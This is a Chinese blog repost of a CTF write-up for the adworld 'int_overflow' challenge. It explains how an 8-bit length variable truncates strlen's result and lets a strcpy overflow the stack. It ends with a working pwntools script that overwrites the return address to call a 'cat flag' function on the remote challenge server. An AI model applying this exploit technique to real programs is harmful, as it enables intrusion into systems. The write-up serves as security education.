首页 > 其他 > 详细

adworld int_overflow | 整形溢出

时间:2020-03-16 17:27:32      阅读:76      评论:0      收藏:0      [点我收藏+]

题目链接

这是一道帮助理解整形溢出的题,以前搞OI用自然溢出写过哈希,但那时不知道原理,布太星。

先用checksec查壳,可以栈溢出:

技术分享图片

然后用IDA打开附件,先看一下字符串窗口。

技术分享图片

发现有cat flag的字符串,定位到执行它的函数,先记下地址0x804868B

然后看由主函数调用的login()函数,F5之后改一下变量别名,关注一行伪代码:read(0, &passwd, 0x199u);

然后调用了check_passwd(char *passwd)函数,溢出点就在这个函数里。

技术分享图片

len是个unsigned int 8,而strlen()返回值是一个size_t类型的变量,它是无符号32bit的。

在第7行赋值的过程中,编译器会截断后者的末八位赋值给前者。8位的最大值是255,所以如果passwd字符串长度超过255就会发生自然溢出。

第二个溢出点是在第17行的strcpy语句中,可以完成一次栈溢出。

后面的判断语句告示我们如果要触发第二个溢出点需要满足 \(4<len≤7\)

所以构造的payload长度区间为 \([261,264]\) ,这里选用 \(262\)

之后就是栈溢出的问题了,用前面的地址覆盖掉函数的返回地址并保证长度即可。

脚本如下:

#python 3.5
from pwn import *
#io = process('./source')
io = remote('111.198.29.45','50364')
payload = b'a'*0x18 + p32(0x0804868B) + b'a'*234
#0x18 = 24 262 - 24 - 4 = 234
io.recvuntil('Your choice:');
io.sendline('1')
io.recvuntil('Please input your username:\n')
io.sendline('NAME')
io.recvuntil('Please input your passwd:\n')
io.sendline(payload)
io.interactive()

技术分享图片

adworld int_overflow | 整形溢出

原文:https://www.cnblogs.com/zhwer/p/12504511.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!